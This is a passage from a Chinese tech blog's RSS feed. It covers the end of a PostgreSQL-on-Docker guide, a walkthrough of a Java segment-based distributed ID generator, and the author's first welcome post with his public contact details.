class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 逻辑备份（导出为 .sql）</span><br>docker <span class="hljs-built_in">exec</span> -t postgres16 pg_dump -U pguser -d demo &gt; demo_backup.sql<br><br><span class="hljs-comment"># 恢复（先创建空库，再执行导入）</span><br>docker <span class="hljs-built_in">exec</span> -i postgres16 psql -U pguser -d demo &lt; demo_backup.sql<br></code></pre></td></tr></table></figure><h3 id="性能与维护建议"><a href="#性能与维护建议" class="headerlink" title="性能与维护建议"></a>性能与维护建议</h3><ul><li>开启并观察 <code>pg_stat_statements</code> 进行慢查询分析。</li><li>合理设置：<code>shared_buffers</code>、<code>work_mem</code>、<code>effective_cache_size</code>（生产环境按资源调优）。</li><li>定期 <code>VACUUM</code>&#x2F;<code>ANALYZE</code> 保持统计信息与空间健康。</li><li>针对大表使用分区与合适的索引类型，避免全表扫描。</li></ul><hr><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>PostgreSQL 以强一致事务、丰富索引与扩展生态著称，既能支撑传统 OLTP，也能兼顾文档与分析场景。结合 Docker，可以在本地与测试环境实现快速、可重复的部署与运维。实际落地时，建议评估数据规模与业务特点，合理选择索引与分区策略，并使用 <code>pg_stat_statements</code> 持续优化查询性能。</p><p>—— <em>NowPion</em></p>]]>
      </content:encoded>
    </item>
    <item>
      <title>高效分布式ID生成服务代码解析</title>
      <link>https://blog.newpon.top/2025/10/18/%E5%88%86%E5%B8%83%E5%BC%8FID%E7%94%9F%E6%88%90%E5%99%A8/</link>
      <description>解析高性能分布式 ID 生成服务的核心设计与代码实现，结合本地缓存号段模式与异步更新机制，支持高并发场景下顺序与无序 ID 快速分配。</description>
      <author>Niezidong</author>
      <category domain="https://blog.newpon.top/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.newpon.top/tags/%E5%88%86%E5%B8%83%E5%BC%8F/">分布式</category>
      <category domain="https://blog.newpon.top/tags/ID%E7%94%9F%E6%88%90/">ID生成</category>
      <category domain="https://blog.newpon.top/tags/Java/">Java</category>
      <pubDate>Sat, 18 Oct 2025 04:40:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="分布式ID生成"><a href="#分布式ID生成" class="headerlink" title="分布式ID生成"></a>分布式ID生成</h1><p>本文以一个具体 Java 项目代码为例，解析其核心 ID 生成逻辑及设计亮点。<br>旨在帮助开发者理解如何结合本地缓存和异步更新策略，实现高性能的分布式 ID 生成服务。</p><hr><h2 id="项目背景"><a href="#项目背景" class="headerlink" title="项目背景"></a>项目背景</h2><p>该服务提供 <strong>顺序ID</strong> 和 <strong>无序ID</strong> 两种生成方式，支持高并发场景下 ID 快速分配。<br>主要思想是利用本地缓存减少数据库访问压力，通过异步刷新机制实现 ID 区间动态更新，保障 ID 生成的效率与唯一性。</p><hr><h2 id="数据库表设计"><a href="#数据库表设计" class="headerlink" title="数据库表设计"></a>数据库表设计</h2><p>核心表 <code>t_id_generate_config</code> 用于存储各业务 ID 配置及号段信息：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-keyword">CREATE TABLE</span> `t_id_generate_config` (<br> `id` <span class="hljs-type">int</span> <span class="hljs-keyword">NOT NULL</span> AUTO_INCREMENT COMMENT <span class="hljs-string">&#x27;主键 id&#x27;</span>,<br> `remark` <span class="hljs-type">varchar</span>(<span class="hljs-number">255</span>) <span class="hljs-keyword">CHARACTER SET</span> utf8mb4 <span class="hljs-keyword">COLLATE</span> utf8mb4_unicode_ci <span class="hljs-keyword">DEFAULT</span> <span class="hljs-keyword">NULL</span> COMMENT <span class="hljs-string">&#x27;描述&#x27;</span>,<br> `next_threshold` <span class="hljs-type">bigint</span> <span class="hljs-keyword">DEFAULT</span> <span class="hljs-keyword">NULL</span> COMMENT <span class="hljs-string">&#x27;当前 id 所在阶段的阈值&#x27;</span>,<br> `init_num` <span class="hljs-type">bigint</span> <span class="hljs-keyword">DEFAULT</span> <span class="hljs-keyword">NULL</span> COMMENT <span class="hljs-string">&#x27;初始化值&#x27;</span>,<br> `current_start` <span class="hljs-type">bigint</span> <span class="hljs-keyword">DEFAULT</span> <span class="hljs-keyword">NULL</span> COMMENT <span class="hljs-string">&#x27;当前 id 所在阶段的开始值&#x27;</span>,<br> `step` <span class="hljs-type">int</span> <span class="hljs-keyword">DEFAULT</span> <span class="hljs-keyword">NULL</span> COMMENT <span class="hljs-string">&#x27;id 递增区间&#x27;</span>,<br> `is_seq` tinyint <span class="hljs-keyword">DEFAULT</span> <span class="hljs-keyword">NULL</span> COMMENT <span class="hljs-string">&#x27;是否有序（0 无序，1 有序）&#x27;</span>,<br> `id_prefix` <span class="hljs-type">varchar</span>(<span class="hljs-number">60</span>) <span class="hljs-keyword">CHARACTER SET</span> utf8mb4 <span class="hljs-keyword">COLLATE</span> utf8mb4_unicode_ci <span class="hljs-keyword">DEFAULT</span> <span class="hljs-keyword">NULL</span> COMMENT <span class="hljs-string">&#x27;业务前缀码，如果没有则返回时不携带&#x27;</span>,<br> `version` <span class="hljs-type">int</span> <span class="hljs-keyword">NOT NULL</span> <span class="hljs-keyword">DEFAULT</span> <span class="hljs-string">&#x27;0&#x27;</span> COMMENT <span class="hljs-string">&#x27;乐观锁版本号&#x27;</span>,<br> `create_time` datetime <span class="hljs-keyword">DEFAULT</span> <span class="hljs-built_in">CURRENT_TIMESTAMP</span> COMMENT <span class="hljs-string">&#x27;创建时间&#x27;</span>,<br> `update_time` datetime <span class="hljs-keyword">DEFAULT</span> <span class="hljs-built_in">CURRENT_TIMESTAMP</span> <span class="hljs-keyword">ON</span> <span class="hljs-keyword">UPDATE</span> <span class="hljs-built_in">CURRENT_TIMESTAMP</span> COMMENT <span class="hljs-string">&#x27;更新时间&#x27;</span>,<br> <span class="hljs-keyword">PRIMARY KEY</span> (`id`)<br>) ENGINE<span class="hljs-operator">=</span>InnoDB AUTO_INCREMENT<span class="hljs-operator">=</span><span class="hljs-number">8</span> <span class="hljs-keyword">DEFAULT</span> CHARSET<span class="hljs-operator">=</span>utf8mb4 <span class="hljs-keyword">COLLATE</span><span class="hljs-operator">=</span>utf8mb4_unicode_ci;<br></code></pre></td></tr></table></figure><ul><li>使用 <strong>自增主键</strong> 作为唯一标识。</li><li><code>is_seq</code> 标记是否为顺序 ID。</li><li><code>version</code> 用于乐观锁，防止多实例冲突。</li><li><code>current_start</code> 和 <code>next_threshold</code> 定义号段范围。</li></ul><hr><h2 id="核心代码剖析"><a href="#核心代码剖析" class="headerlink" title="核心代码剖析"></a>核心代码剖析</h2><h3 id="1️⃣-本地缓存结构"><a href="#1️⃣-本地缓存结构" class="headerlink" title="1️⃣ 本地缓存结构"></a>1️⃣ 本地缓存结构</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-comment">// 顺序ID缓存</span><br><span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> Map&lt;Integer, LocalSeqIdBo&gt; localSeqIdBoMap = <span class="hljs-keyword">new</span> <span class="hljs-title class_">ConcurrentHashMap</span>&lt;&gt;();<br><br><span class="hljs-comment">// 无序ID缓存</span><br><span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> Map&lt;Integer, LocalUnSeqIdBo&gt; localUnSeqIdBoMap = <span class="hljs-keyword">new</span> <span class="hljs-title class_">ConcurrentHashMap</span>&lt;&gt;();<br></code></pre></td></tr></table></figure><ul><li><strong>顺序ID缓存</strong>维护当前递增计数及区间阈值。</li><li><strong>无序ID缓存</strong>维护一个打乱顺序的 ID 队列，既支持连续 ID 生成，又满足无序需求。</li></ul><hr><h3 id="2️⃣-ID-生成逻辑"><a href="#2️⃣-ID-生成逻辑" class="headerlink" title="2️⃣ ID 生成逻辑"></a>2️⃣ ID 生成逻辑</h3><p><strong>顺序 ID</strong>生成通过调用 <code>incrementAndGet</code> 实现线程安全递增：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-type">long</span> <span class="hljs-variable">returnId</span> <span class="hljs-operator">=</span> localSeqIdBo.getCurrentNum().incrementAndGet();<br></code></pre></td></tr></table></figure><p><strong>无序 ID</strong>生成通过从本地的 ID 队列中 <code>poll</code> 一个 ID：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-type">Long</span> <span class="hljs-variable">pollId</span> <span class="hljs-operator">=</span> localUnSeqIdBo.getIdQueue().poll();<br></code></pre></td></tr></table></figure><p>两种方式满足不同应用场景的 ID 生成需求。</p><hr><h3 id="3️⃣-异步刷新机制"><a href="#3️⃣-异步刷新机制" class="headerlink" title="3️⃣ 异步刷新机制"></a>3️⃣ 异步刷新机制</h3><p>当缓存 ID 使用进度达到区间的 <strong>75%</strong> 时，代码采用 <strong>信号量 + 线程池</strong> 控制异步刷新 ID 区间，防止多线程并发更新数据库：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">if</span>(localSeqIdBo.getCurrentNum().get() - localSeqIdBo.getCurrentStart() &gt; step * UPDATE_RATE)&#123;<br>    <span class="hljs-type">Semaphore</span> <span class="hljs-variable">semaphore</span> <span class="hljs-operator">=</span> semaphoreMap.get(localSeqIdBo.getId());<br>    <span class="hljs-keyword">if</span>(semaphore.tryAcquire())&#123;<br>        threadPoolExecutor.execute(() -&gt; &#123;<br>            <span class="hljs-keyword">try</span> &#123;<br>                tryUpdateMysqlRecord(idGenerateMapper.selectById(localSeqIdBo.getId()));<br>            &#125; <span class="hljs-keyword">catch</span> (Exception e) &#123;<br>                LOGGER.error(<span class="hljs-string">&quot;同步失败&quot;</span>, e);<br>            &#125; <span class="hljs-keyword">finally</span> &#123;<br>                semaphoreMap.get(localSeqIdBo.getId()).release();<br>            &#125;<br>        &#125;);<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><ul><li>异步更新提升响应速度。</li><li>信号量保证更新单一性，避免多线程冲突。</li></ul><hr><h3 id="4️⃣-并发控制与线程池"><a href="#4️⃣-并发控制与线程池" class="headerlink" title="4️⃣ 并发控制与线程池"></a>4️⃣ 并发控制与线程池</h3><ul><li>使用 <strong>Semaphore</strong> 确保数据库更新操作互斥访问。</li><li>使用带自定义命名线程的 <strong>线程池</strong> 提升异步执行效率，保证高并发环境稳定安全。</li></ul><hr><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>该 ID 生成服务设计巧妙结合了：</p><ul><li>本地缓存</li><li>高并发控制</li><li>异步刷新机制</li></ul><p>极大降低数据库压力，实现了高性能的分布式 ID 生成。<br>适合单实例或有限多实例部署场景，代码结构清晰，易于扩展和维护。</p><blockquote><p>理解和借鉴其设计思路，有助于构建稳定高效的分布式系统基础组件。</p></blockquote><p>—— <em>NowPion</em></p>]]>
      </content:encoded>
    </item>
    <item>
      <title>我的第一篇博客</title>
      <link>https://blog.newpon.top/2025/10/18/%E6%88%91%E7%9A%84%E7%AC%AC%E4%B8%80%E7%AF%87/</link>
      <description>博主在 Hexo 独立博客上发布的第一篇随笔，记录个人建站经历、写作初衷与未来技术积累的规划与思考。</description>
      <author>Niezidong</author>
      <category domain="https://blog.newpon.top/tags/%E9%9A%8F%E7%AC%94/">随笔</category>
      <category domain="https://blog.newpon.top/tags/%E6%96%B0%E8%B5%B7%E7%82%B9/">新起点</category>
      <pubDate>Sat, 18 Oct 2025 02:14:34 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="欢迎来到我的博客"><a href="#欢迎来到我的博客" class="headerlink" title="欢迎来到我的博客"></a>欢迎来到我的博客</h1><p>这是我使用 <strong>Hexo</strong> 搭建的第一篇文章。<br>经过一番配置与调试，终于把这个博客跑起来了。<br>虽然只是一个简单的开始，但这对我来说，是一个新的起点。</p><hr><h2 id="为什么要写博客"><a href="#为什么要写博客" class="headerlink" title="为什么要写博客"></a>为什么要写博客</h2><p>主要有三个原因：</p><ol><li><p><strong>记录成长</strong>：<br>每一次解决问题、完成项目、或者偶然的灵感，都值得被记录下来。<br>写下来不仅能帮助自己复盘，也能帮助后来者少走弯路。</p></li><li><p><strong>整理思路</strong>：<br>当你尝试把知识写出来的时候，你会发现理解会更深。<br>写博客其实就是一种最好的学习方式。</p></li><li><p><strong>分享价值</strong>：<br>我相信知识是可以分享的。<br>如果我的文章能让某个人少查一点资料，那就很值得。</p></li></ol><hr><h2 id="未来计划"><a href="#未来计划" class="headerlink" title="未来计划"></a>未来计划</h2><p>这个博客会陆续更新以下内容：</p><ul><li>项目实战笔记与技术总结  </li><li>编程与学习方法分享  </li><li>个人思考与生活记录</li></ul><p>希望能在这里不断成长，也期待遇见志同道合的朋友。</p><hr><h2 id="联系我"><a href="#联系我" class="headerlink" title="联系我"></a>联系我</h2><p>下面是我的联系方式：</p><ul><li>qq：3163443477</li><li>wx：dong17854000761  </li><li>邮箱：<a href="mailto:&#x6e;&#x69;&#101;&#122;&#x68;&#105;&#100;&#x6f;&#110;&#103;&#x31;&#x32;&#51;&#x34;&#64;&#103;&#109;&#x61;&#105;&#108;&#x2e;&#x63;&#111;&#x6d;">&#x6e;&#x69;&#101;&#122;&#x68;&#105;&#100;&#x6f;&#110;&#103;&#x31;&#x32;&#51;&#x34;&#64;&#103;&#109;&#x61;&#105;&#108;&#x2e;&#x63;&#111;&#x6d;</a></li></ul><hr><h2 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h2><blockquote><p>「记录让人成长，分享让世界变得更好。」</p></blockquote><p>感谢你能看到这里。<br>如果你也在搭建自己的博客，可以留言交流，我们一起进步。  </p><p>—— <em>NowPion</em></p>]]>
      </content:encoded>
    </item>
  </channel>
</rss>
